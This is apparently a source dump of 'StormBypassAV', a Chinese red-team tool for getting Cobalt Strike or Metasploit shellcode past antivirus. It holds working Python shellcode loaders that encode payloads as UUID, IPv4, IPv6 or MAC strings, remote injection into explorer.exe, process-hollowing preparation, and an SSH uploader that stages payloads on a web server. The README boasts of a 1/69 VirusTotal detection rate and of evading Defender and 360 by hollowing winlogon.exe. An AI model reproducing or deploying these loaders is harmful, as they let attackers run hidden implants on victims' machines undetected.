├── lib
├── __init__.py
├── __pycache__
│ ├── SSHServer.cpython-37.pyc
│ └── __init__.cpython-37.pyc
└── SSHServer.py
├── temp
└── __init__.py
├── Encoder
├── __init__.py
├── __pycache__
│ ├── __init__.cpython-37.pyc
│ └── base64Enc.cpython-37.pyc
└── base64Enc.py
├── shellcodeLoader
├── __init__.py
├── __pycache__
│ ├── __init__.cpython-37.pyc
│ ├── VirtualAlloc1.cpython-37.pyc
│ ├── ProcessHollowing.cpython-37.pyc
│ └── ProcessHollowingSave.cpython-37.pyc
├── VirtualAlloc1.py
├── uuidLoader.py
├── VirtualAlloc2.py
├── RemoteInject.py
├── ProcessHollowingSave.py
├── ipv6Loader.py
├── ipv4Loader.py
├── macLoader.py
└── ProcessHollowing.py
├── config
├── ico.png
├── artifact.exe
├── csartifacet.exe
└── payloadJQuery.py
├── requirements.txt
├── README.md
├── shellcoder.py
├── cmdcoder.py
├── TrojanCreater.py
└── StormBypassAV.py
/lib/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/temp/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Encoder/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/shellcodeLoader/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/config/ico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/config/ico.png
--------------------------------------------------------------------------------
/config/artifact.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/config/artifact.exe
--------------------------------------------------------------------------------
/config/csartifacet.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/config/csartifacet.exe
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | paramiko==2.9.2
2 | six==1.16.0
3 | PyQt5==5.15.6
4 | PyInstaller==5.10.1
5 | tinyaes==1.0.4
6 | requests==2.27.1
--------------------------------------------------------------------------------
/lib/__pycache__/SSHServer.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/lib/__pycache__/SSHServer.cpython-37.pyc
--------------------------------------------------------------------------------
/lib/__pycache__/__init__.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/lib/__pycache__/__init__.cpython-37.pyc
--------------------------------------------------------------------------------
/Encoder/__pycache__/__init__.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/Encoder/__pycache__/__init__.cpython-37.pyc
--------------------------------------------------------------------------------
/Encoder/__pycache__/base64Enc.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/Encoder/__pycache__/base64Enc.cpython-37.pyc
--------------------------------------------------------------------------------
/shellcodeLoader/__pycache__/__init__.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/shellcodeLoader/__pycache__/__init__.cpython-37.pyc
--------------------------------------------------------------------------------
/shellcodeLoader/__pycache__/VirtualAlloc1.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/shellcodeLoader/__pycache__/VirtualAlloc1.cpython-37.pyc
--------------------------------------------------------------------------------
/shellcodeLoader/__pycache__/ProcessHollowing.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/shellcodeLoader/__pycache__/ProcessHollowing.cpython-37.pyc
--------------------------------------------------------------------------------
/shellcodeLoader/__pycache__/ProcessHollowingSave.cpython-37.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/shellcodeLoader/__pycache__/ProcessHollowingSave.cpython-37.pyc
--------------------------------------------------------------------------------
/shellcodeLoader/VirtualAlloc1.py:
--------------------------------------------------------------------------------
1 | import ctypes
2 | import sys
3 |
4 | info='使用VirtualAlloc动态申请内存-》RtlMoveMemory将shellcode拷贝入申请空间-》CreateThread创建线程运行'
5 |
6 |
7 |
8 | def main(buf):
9 | if isinstance(buf,str):
10 | buf=buf.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF
11 |
12 | # print(buf)
13 | shellcode=bytearray(buf)
14 | #设置返回类型
15 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
16 | #使用VirtualAlloc这个API函数申请一块内存,返回值是一个指针地址ptr
17 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))
18 | #使用RtlMoveMemory这个API,把shellcode复制到ptr这个地址所在的内存空间。
19 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
20 | #在ptr这个指针所在的内存空间创建线程运行
21 | handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
22 | #等待执行结束
23 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
24 |
25 |
26 | if __name__ == '__main__':
27 | import shellcoder
28 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True)
29 | print('buf:\n',buf)
30 |
31 | if not buf:
32 | sys.exit()
33 | else:
34 |
35 | main(buf)
--------------------------------------------------------------------------------
/shellcodeLoader/uuidLoader.py:
--------------------------------------------------------------------------------
1 | import ctypes
2 | import sys
3 | import uuid
4 |
5 | info="uuid加载器使用VirtualAlloc的内存申请方式,配合UuidFromStringW这个函数,可以直接将uuid格式的shellcode加载进内存,一定作用上规避杀毒软件检测,但本质上的作用和shellcode加密类似,只是改变了加载时的shellcode,写入内存后的内容依然是还原的shellcode,所以效果有限。"
6 |
7 |
8 | def getuuid(scode):
9 |
10 | _=len(scode)%16
11 | if _!=0:
12 | scode+=b'\x00'*(16-_)
13 | print(len(scode))
14 | list = []
15 | for i in range(int(len(scode)/16)):
16 | bytes_a = scode[i*16:16+i*16]
17 | b = uuid.UUID(bytes_le=bytes_a)
18 | list.append(str(b))
19 | return list
20 |
21 | def main(buf):
22 | if isinstance(buf,str):
23 | buf=buf.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF
24 |
25 | #将shellcode转换为uuid形式
26 | shellcode=getuuid(buf)
27 |
28 | #VirtualAlloc动态申请内存
29 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
30 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)*16), ctypes.c_int(0x3000),ctypes.c_int(0x40))
31 |
32 | #将UUID形式的shellcode写入内存
33 | rwxpage1 = ptr
34 | for i in shellcode:
35 | a=ctypes.windll.Rpcrt4.UuidFromStringW(i,ctypes.c_uint64(rwxpage1))
36 | rwxpage1+=16
37 |
38 | #创建进程运行shellcode
39 | handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
40 |
41 | #等待执行
42 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
43 |
44 |
45 | if __name__ == '__main__':
46 | import shellcoder
47 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True)
48 | print('buf:\n',buf)
49 |
50 | if not buf:
51 | sys.exit()
52 | else:
53 |
54 | main(buf)
--------------------------------------------------------------------------------
/shellcodeLoader/VirtualAlloc2.py:
--------------------------------------------------------------------------------
1 | import ctypes
2 | import sys
3 |
4 | info='使用VirtualAlloc动态申请读写权限的内存 -> VirtualProtect修改内存的权限为读写执行 -> RtlMoveMemory将shellcode拷贝入申请空间-》CreateThread创建线程运行'
5 |
6 | def main(buf):
7 | if isinstance(buf,str):
8 | buf=buf.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF
9 |
10 | shellcode=bytearray(buf)
11 |
12 | #定义返回类型
13 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
14 |
15 | #VirtualAlloc申请一块内存空间,只是普通的读写权限
16 | ptr = ctypes.windll.kernel32.VirtualAlloc(
17 | ctypes.c_int(0),
18 | ctypes.c_int(len(shellcode)),
19 | ctypes.c_int(0x3000),
20 | ctypes.c_int(0x04), #这个地方的权限不同
21 | )
22 |
23 | buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
24 | ctypes.windll.kernel32.VirtualProtect(
25 | ctypes.c_uint64(ptr),
26 | ctypes.c_int(len(shellcode)),
27 | 0x40,
28 | ctypes.pointer(ctypes.c_int(1))
29 | )
30 | #把shellcode写入内存
31 | ctypes.windll.kernel32.RtlMoveMemory(
32 | ctypes.c_uint64(ptr),
33 | buffer,
34 | ctypes.c_int(len(shellcode))
35 | )
36 |
37 | #创建线程执行shellcode
38 | handle = ctypes.windll.kernel32.CreateThread(
39 | ctypes.pointer(ctypes.c_int(0)),
40 | ctypes.c_int(0),
41 | ctypes.c_void_p(ptr),
42 | ctypes.pointer(ctypes.c_int(0)),
43 | ctypes.c_int(0),
44 | ctypes.pointer(ctypes.c_int(0))
45 | )
46 | #等待执行
47 | ctypes.windll.kernel32.WaitForSingleObject(
48 | ctypes.c_int(handle),
49 | ctypes.c_int(-1)
50 | )
51 |
52 | if __name__ == '__main__':
53 | import shellcoder
54 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True)
55 | print('buf:\n',buf)
56 |
57 | if not buf:
58 | sys.exit()
59 | else:
60 |
61 | main(buf)
--------------------------------------------------------------------------------
/shellcodeLoader/RemoteInject.py:
--------------------------------------------------------------------------------
1 | import time
2 | import ctypes
3 | import sys
4 | import subprocess
5 |
6 | info="windows提供了一系列API可以实现进程注入功能,向目标进程注入shellcode后,shellcode在目标进程中运行,配合删除源文件和shellcode网络分离可以做到很好的隐蔽性,但容易被杀软查杀"
7 |
8 |
9 | def findPid(proName='explorer'):
10 | cmd=f"tasklist | findstr {proName}"
11 | out=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE)
12 | infos=out.stdout.read().splitlines()
13 | pidlist=[]
14 | if len(infos) >=1:
15 | for i in infos:
16 | pid=i.split()[1]
17 | if pid not in pidlist:
18 | pidlist.append(int(pid))
19 | return pidlist
20 | else:
21 | return -1
22 |
23 | def main(buf,process='explorer.exe'):
24 | pid=findPid(process)[0]
25 | print('???',pid)
26 | if not pid:
27 | print('no pid find')
28 | return
29 | if isinstance(buf,str):
30 | buf=buf.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF
31 | PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
32 | h_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
33 | if h_process:
34 | shellcode = bytearray(buf)
35 | arg_address = ctypes.windll.kernel32.VirtualAllocEx(h_process,0,len(shellcode),0x3000,0x40)
36 | shellcode = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
37 | ctypes.windll.kernel32.WriteProcessMemory(h_process, arg_address, shellcode,len(shellcode), 0)
38 | if not ctypes.windll.kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,ctypes.byref(ctypes.c_ulong(0))):
39 | print("create thread false")
40 | sys.exit()
41 | else:
42 | print("open the process false")
43 | sys.exit()
44 |
45 | ctypes.windll.kernel32.CloseHandle(h_process)
46 | time.sleep(100)
47 | sys.exit(0)
48 |
49 |
50 | if __name__ == '__main__':
51 | import shellcoder
52 | buf=shellcoder.main('','',r"D:\BaiduSyncdisk\dyb\a_penetration\kali_tools\my_project\project\BypassAV\StormBypassAV\config\payloadJQuery.py",'','',True)
53 | print('buf:\n',buf)
54 |
55 | if not buf:
56 | sys.exit()
57 | else:
58 |
59 | main(buf)
--------------------------------------------------------------------------------
/shellcodeLoader/ProcessHollowingSave.py:
--------------------------------------------------------------------------------
1 | import json
2 | import pefile
3 | import os
4 | import sys
5 | sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
6 |
7 |
8 | payloadSaveFile=os.path.dirname(os.path.dirname(os.path.abspath(__file__)))+os.sep+'temp'+os.sep+'PayloadFile'
9 | try:
10 | os.makedirs(os.path.dirname(payloadSaveFile))
11 | except:
12 | pass
13 |
14 | def writePayload(PAYLOAD_EXE):
15 | pe_payload = pefile.PE(PAYLOAD_EXE)
16 | PE_TYPE=pe_payload.PE_TYPE
17 | ImageBase=pe_payload.OPTIONAL_HEADER.ImageBase
18 | SizeOfImage=pe_payload.OPTIONAL_HEADER.SizeOfImage
19 | SizeOfHeaders=pe_payload.OPTIONAL_HEADER.SizeOfHeaders
20 | AddressOfEntryPoint=pe_payload.OPTIONAL_HEADER.AddressOfEntryPoint
21 | get_field_absolute_offset=pe_payload.OPTIONAL_HEADER.get_field_absolute_offset("ImageBase")
22 |
23 |
24 | with open(PAYLOAD_EXE, "rb") as h_payload:
25 | payload_data = h_payload.read().decode('latin1')
26 |
27 | sections=[]
28 | for section in pe_payload.sections:
29 | dic_=dict()
30 | dic_['sectionName']=section.Name.decode("utf-8").strip("\x00")
31 | dic_['sectionVirtualAddress']=section.VirtualAddress
32 | dic_['sectionPointerToRawData']=section.PointerToRawData
33 | dic_['sectionSizeOfRawData']=section.SizeOfRawData
34 | sections.append(dic_)
35 |
36 | # print(sections)
37 |
38 | payload={'PE_TYPE':PE_TYPE,'ImageBase':ImageBase,'SizeOfImage':SizeOfImage,'SizeOfHeaders':SizeOfHeaders,'AddressOfEntryPoint':AddressOfEntryPoint,'get_field_absolute_offset':get_field_absolute_offset,'payload_data':payload_data,'sections':sections}
39 | with open(payloadSaveFile,'w') as f:
40 | json.dump(payload,f)
41 |
42 | return PE_TYPE,ImageBase,SizeOfImage,SizeOfHeaders,AddressOfEntryPoint,get_field_absolute_offset,payload_data,sections
43 |
44 | def getPayload(payloadFile):
45 |
46 | writePayload(payloadFile)
47 |
48 | with open(payloadSaveFile,'r') as f:
49 | value=json.load(f)
50 | # print(value)
51 | return value
52 | # return value['PE_TYPE'],value['ImageBase'],value['SizeOfImage'],value['SizeOfHeaders'],value['AddressOfEntryPoint'],value['get_field_absolute_offset'],value['payload_data'].encode('latin1'),value['sections']
53 |
54 |
55 |
56 | if __name__ == '__main__':
57 | PAYLOAD_EXE = r"D:\BaiduSyncdisk\dyb\a_penetration\kali_tools\my_project\project\BypassAV\掩月\config\artifact.exe"
58 | writePayload(PAYLOAD_EXE) #将artifact.exe的内容提取出来,保存到payload文件中
59 | getPayload()
--------------------------------------------------------------------------------
/shellcodeLoader/ipv6Loader.py:
--------------------------------------------------------------------------------
1 | import ctypes
2 | import sys
3 |
4 | info="ipv6加载器使用AllocADsMem+ReallocADsMem的内存申请方式,配合RtlIpv6StringToAddressW这个函数,可以直接将ipv6格式的shellcode加载进内存,一定作用上规避杀毒软件检测,但本质上的作用shellcode加密类似,只是改变了加载时的shellcode,写入内存后的内容依然是还原的shellcode,所以效果有限。"
5 |
6 | def main(shellcode):
7 | #定义main方法,最终生成的木马脚本需要从main方法开始执行,也可以定义其它方法从main中调用。所有自定义方法都会被写到最终的木马脚本
8 | if isinstance(shellcode,str):
9 | shellcode=shellcode.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF
10 |
11 | if len(shellcode) % 16 != 0:
12 | null_byte = b'\x00' * (16 - len(shellcode) % 16)
13 | shellcode += null_byte
14 |
15 | ctypes.windll.Activeds.AllocADsMem.restype = ctypes.c_uint64
16 | ptr_alloc_1 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode) // 16 * 40))
17 | ctypes.windll.Activeds.ReallocADsMem.restype = ctypes.c_uint64
18 | ptr_realloc_1 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_1), ctypes.c_int(len(shellcode) // 16 * 40), ctypes.c_int(len(shellcode) // 16 * 40))
19 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_1), ctypes.c_int(len(shellcode) // 16 * 40), 0x40, ctypes.byref(ctypes.c_long(1)))
20 |
21 | for i in range(len(shellcode) // 16):
22 | bytes_shellcode = shellcode[i * 16: 16 + i * 16]
23 | ctypes.windll.Ntdll.RtlIpv6AddressToStringA(bytes_shellcode, ctypes.c_uint64(ptr_realloc_1 + i * 40))
24 |
25 | ipv6_list = []
26 | for i in range(len(shellcode) // 16):
27 | ipv6 = ctypes.string_at(ptr_realloc_1 + i * 40, 40)
28 | ipv6=ipv6.decode('latin1').strip('\x00')
29 | ipv6_list.append(ipv6)
30 | print(ipv6_list)
31 |
32 | ptr_alloc_2 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode)))
33 | ptr_realloc_2 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_2), ctypes.c_int(len(shellcode)), ctypes.c_int(len(shellcode)))
34 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_2), ctypes.c_int(len(shellcode)), 0x40, ctypes.byref(ctypes.c_long(1)))
35 |
36 | rwxpage = ptr_realloc_2
37 | for i in range(len(ipv6_list)):
38 | ctypes.windll.Ntdll.RtlIpv6StringToAddressW(ipv6_list[i], ipv6_list[i], ctypes.c_uint64(rwxpage))
39 | rwxpage += 16
40 |
41 | ctypes.windll.kernel32.EnumSystemLocalesW(ctypes.c_uint64(ptr_realloc_2), 0)
42 |
43 | if __name__ == '__main__':
44 | import shellcoder
45 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True)
46 | print('buf:\n',buf)
47 |
48 | if not buf:
49 | sys.exit()
50 | else:
51 |
52 | main(buf)
--------------------------------------------------------------------------------
/shellcodeLoader/ipv4Loader.py:
--------------------------------------------------------------------------------
1 | import ctypes
2 | import sys
3 |
4 | info="ipv4加载器使用AllocADsMem+ReallocADsMem的内存申请方式,配合RtlIpv4StringToAddressW这个函数,可以直接将ipv4格式的shellcode加载进内存,一定作用上规避杀毒软件检测,但本质上的作用shellcode加密类似,只是改变了加载时的shellcode,写入内存后的内容依然是还原的shellcode,所以效果有限。"
5 |
6 | def main(shellcode):
7 | #定义main方法,最终生成的木马脚本需要从main方法开始执行,也可以定义其它方法从main中调用。所有自定义方法都会被写到最终的木马脚本
8 | if isinstance(shellcode,str):
9 | shellcode=shellcode.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF
10 |
11 | if len(shellcode) % 4 != 0:
12 | null_byte = b'\x00' * (4 - len(shellcode) % 4)
13 | shellcode += null_byte
14 |
15 | ctypes.windll.Activeds.AllocADsMem.restype = ctypes.c_uint64
16 | ptr_alloc_1 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode) // 4 * 16))
17 | ctypes.windll.Activeds.ReallocADsMem.restype = ctypes.c_uint64
18 | ptr_realloc_1 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_1), len(shellcode) // 4 * 16, len(shellcode) // 4 * 16)
19 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_1), ctypes.c_int(len(shellcode) // 4 * 16), 0x40, ctypes.byref(ctypes.c_long(1)))
20 |
21 | for i in range(len(shellcode) // 4):
22 | bytes_shellcode = shellcode[i * 4: 4 + i * 4]
23 | ctypes.windll.Ntdll.RtlIpv4AddressToStringA(bytes_shellcode, ctypes.c_uint64(ptr_realloc_1 + i * 16))
24 |
25 | ipv4_list = []
26 | for i in range(len(shellcode) // 4):
27 | ipv4 = ctypes.string_at(ptr_realloc_1 + i * 16, 16)
28 | ipv4=ipv4.decode('latin1').strip('\x00')
29 | ipv4_list.append(ipv4)
30 |
31 | print(ipv4_list)
32 | ptr_alloc_2 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode)))
33 | ptr_realloc_2 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_2), ctypes.c_int(len(shellcode)), ctypes.c_int(len(shellcode)))
34 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_2), ctypes.c_int(len(shellcode)), ctypes.c_int(0x40), ctypes.byref(ctypes.c_long(1)))
35 |
36 | rwxpage = ptr_realloc_2
37 | for i in range(len(ipv4_list)):
38 |
39 | ctypes.windll.Ntdll.RtlIpv4StringToAddressW(ipv4_list[i], ctypes.c_bool(False), ipv4_list[i], ctypes.c_uint64(rwxpage))
40 | rwxpage += 4
41 |
42 | ctypes.windll.kernel32.EnumSystemLocalesW(ctypes.c_uint64(ptr_realloc_2), 0)
43 |
44 | if __name__ == '__main__':
45 |
46 | import shellcoder
47 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True)
48 | print('buf:\n',buf)
49 |
50 | if not buf:
51 | sys.exit()
52 | else:
53 |
54 | main(buf)
--------------------------------------------------------------------------------
/shellcodeLoader/macLoader.py:
--------------------------------------------------------------------------------
1 | #encoding:utf-8
2 | import ctypes
3 | import sys
4 |
5 | info="mac加载器使用的内存申请和数据拷贝方式,配合RtlEthernetStringToAddressW这个函数,可以直接将mac格式的shellcode加载进内存,一定作用上规避杀毒软件检测,但本质上的作用shellcode加密类似,只是改变了加载时的shellcode,写入内存后的内容依然是还原的shellcode,所以效果有限。"
6 |
7 | def main(shellcode):
8 | #定义main方法,最终生成的木马脚本需要从main方法开始执行,也可以定义其它方法从main中调用。所有自定义方法都会被写到最终的木马脚本
9 | if isinstance(shellcode,str):
10 | shellcode=shellcode.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF
11 |
12 |
13 | if len(shellcode) % 16 != 0:
14 | null_byte = b'\x00' * (16 - len(shellcode) % 16)
15 | shellcode += null_byte
16 |
17 | ctypes.windll.Activeds.AllocADsMem.restype = ctypes.c_uint64
18 | ptr_alloc_1 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode) // 6 * 17))
19 | ctypes.windll.Activeds.ReallocADsMem.restype = ctypes.c_uint64
20 | ptr_realloc_1 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_1), ctypes.c_int(len(shellcode) // 6 * 17), ctypes.c_int(len(shellcode) // 6 * 17))
21 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_1), ctypes.c_int(len(shellcode) // 6 * 17), ctypes.c_int(0x40), ctypes.byref(ctypes.c_long(1)))
22 |
23 | for i in range(len(shellcode) // 6):
24 | bytes_shellcode = shellcode[i * 6: 6 + i * 6]
25 | ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_shellcode, ctypes.c_uint64(ptr_realloc_1 + i * 17))
26 |
27 | mac_list = []
28 | for i in range(len(shellcode) // 6):
29 | mac = ctypes.string_at(ptr_realloc_1 + i * 17, ctypes.c_int(17))
30 | mac=mac.decode('latin1')
31 | mac_list.append(mac)
32 |
33 | ptr_alloc_2 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(mac_list) * 6))
34 | ptr_realloc_2 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_2), ctypes.c_int(len(mac_list) * 6), ctypes.c_int(len(mac_list) * 6))
35 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_2), ctypes.c_int(len(mac_list) * 6), ctypes.c_int(0x40), ctypes.byref(ctypes.c_long(1)))
36 |
37 | rwxpage = ptr_realloc_2
38 | for i in range(len(mac_list)):
39 | ctypes.windll.Ntdll.RtlEthernetStringToAddressW(mac_list[i], mac_list[i], ctypes.c_uint64(rwxpage))
40 | rwxpage += 6
41 |
42 | ctypes.windll.kernel32.EnumSystemLocalesW(ctypes.c_uint64(ptr_realloc_2), 0)
43 |
44 |
45 | if __name__ == '__main__':
46 | import shellcoder
47 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True)
48 | print('buf:\n',buf)
49 |
50 | if not buf:
51 | sys.exit()
52 | else:
53 |
54 | main(buf)
--------------------------------------------------------------------------------
/lib/SSHServer.py:
--------------------------------------------------------------------------------
1 | import os
2 | import configparser
3 | import paramiko
4 |
5 | def main(ip,port,username,password,local_path='../result/PayloadFile',remotepath='/var/www/html'):
6 | # SSH连接信息
7 | ssh_host = ip
8 | ssh_port = port
9 | ssh_user = username
10 | ssh_password = password
11 |
12 | # 本地文件路径和上传目标路径
13 | remotepath=getRemotePath(local_path,remotepath)
14 |
15 | # 创建SSH客户端对象
16 | ssh = paramiko.SSHClient()
17 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
18 |
19 | # 连接SSH服务器
20 | ssh.connect(ssh_host, ssh_port, ssh_user, ssh_password)
21 |
22 | # 创建SFTP客户端对象
23 | sftp = ssh.open_sftp()
24 |
25 | # 上传文件
26 | print(local_path)
27 | print(remotepath)
28 | sftp.put(local_path, remotepath)
29 |
30 | # 关闭SFTP客户端和SSH连接
31 | sftp.close()
32 | ssh.close()
33 |
34 |
35 |
36 |
37 |
38 |
39 | def getRemotePath(local_path,remote_path):
40 | local_path = local_path
41 | filename=os.path.basename(local_path)
42 | remote_path=remote_path.rstrip('/')+'/'
43 | remote_path = remote_path+filename
44 | return remote_path
45 |
46 |
47 |
48 | def readConfig():
49 | try:
50 | configFile=os.path.dirname(os.path.dirname(os.path.abspath(__file__)))+os.sep+'config'+os.sep+'config.ini'
51 | print(configFile)
52 | cf=configparser.ConfigParser()
53 | cf.read(configFile)
54 | host=cf.get('SSH','host')
55 | port=cf.get('SSH','port')
56 | username=cf.get('SSH','username')
57 | password=cf.get('SSH','password')
58 | remotepath=cf.get('SSH','remotepath')
59 | url=cf.get('SSH','url')
60 | except:
61 | return False
62 |
63 | return host,port,username,password,remotepath,url
64 |
65 |
66 |
67 |
68 | def saveConfig(ip,port,username,password,remotepath='/var/www/html',url=''):
69 | configFile=os.path.dirname(os.path.dirname(os.path.abspath(__file__)))+os.sep+'config'+os.sep+'config.ini'
70 | try:
71 | cf=configparser.ConfigParser()
72 | cf['SSH']={
73 | 'host':ip,
74 | 'port':port,
75 | 'username':username,
76 | 'password':password,
77 | 'remotepath':remotepath,
78 | 'url':url.rstrip('/')+'/'
79 | }
80 | with open(configFile,'w') as f:
81 | cf.write(f)
82 | return False #这里成功和失败是反的
83 | except:
84 | import traceback
85 | return traceback.format_exc()
86 |
87 | if __name__ == '__main__':
88 | main('100.100.100.2',22,'root','root',f"{os.path.dirname(os.path.dirname(os.path.abspath(__file__)))+os.sep+'result'+os.sep+'PayloadFile'}",'/var/www/html')
89 | # v=readConfig()
90 | # print(v)
91 | # saveConfig('100.100.100.2',22,'root','root',r"C:\Users\d\Desktop\hack\1.txt",'/var/www/html')
92 |
93 | # print(testConnect('100.100.100.2',22,'root','root'))
94 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 风暴免杀
2 |
3 | 工具介绍:https://blog.csdn.net/u013797594/article/details/130502682
4 |
5 | 适用于红队的免杀工具。
6 |
7 | ***
8 |
9 | ## 声明
10 |
11 | ***
12 |
13 | 1.本工具仅限于学习和技术研究,不可用于任何非法用途。
14 |
15 |
16 |
17 | ## 效果
18 |
19 | ***
20 |
21 | > 建议修改CS默认特征增强免杀效果,下面的测试使用了malleable-c2项目中的CS配置文件来修改默认的CS特征。
22 |
23 | 1.使用进程镂空(傀儡进程)winlogon.exe,Defender仅提示病毒威胁选择重启,但不会主动杀掉镂空的winlogon.exe,实现稳定上线。
24 |
25 | 
26 |
27 | 2.360鲲鹏引擎下无感知上线稳定运行
28 |
29 |
30 |
31 | 3.VT查杀率1/69
32 |
33 | 
34 |
35 |
36 |
37 | ## 使用
38 |
39 | ***
40 |
41 | 1.工具使用了python3.7.9 开发,安装相关依赖包:
42 |
43 | ```
44 | pip3 install -r requirements.txt
45 | python3 StormBypassAV.py
46 | ```
47 |
48 | 2.支持普通和隐匿2种模式:
49 |
50 | 
51 |
52 | 3.普通模式下使用了几种不同的内存申请/写入内存方式,通过将shellcode和shellcode加载器代码都进行加密实现了不错的免杀效果,并添加一些随机位移使得最终的木马比较难找到静态特征。
53 |
54 | 
55 |
56 | 4.隐匿模式下实现了进程注入和进程镂空(傀儡进程)
57 |
58 | - 进程注入将shellcode注入到指定进程中运行,木马程序本身被杀毒软件检测到后会被删除。
59 |
60 | - 进程镂空通过运行指定程序并挂起,然后将已有的exe木马写入目标进程中运行,杀毒软件检测到的恶意进程是我们运行的目标程序。defender基于行为的监测技术能够发现被镂空的程序在执行恶意指令,因此会主动终止目标程序,但如果是winlogon.exe,它只会提示重启。
61 |
62 |
63 |
64 | 5.实现了本地和网络分离免杀,由于shellcode每次生成的不一样,所以配置菜单中增加了SSH服务器,配置后可以自动将新生产的payload同步到web服务器上
65 |
66 |
67 |
68 | 6.已知bug:
69 |
70 | > 1.因为使用了动态导入,所以shellcode.py文件名中不能有多余的点号.
71 |
72 |
73 |
74 | # 2023.5.15更新
75 |
76 | ***
77 |
78 | 发现部分杀软已经能查杀,更新一波。
79 |
80 | 360鲲鹏,无感知上线和执行普通命令,新增用户等高危命令会告警,需要结合其它技术绕过。
81 |
82 | 
83 |
84 | 
85 |
86 | 360核晶物理机上测试:
87 |
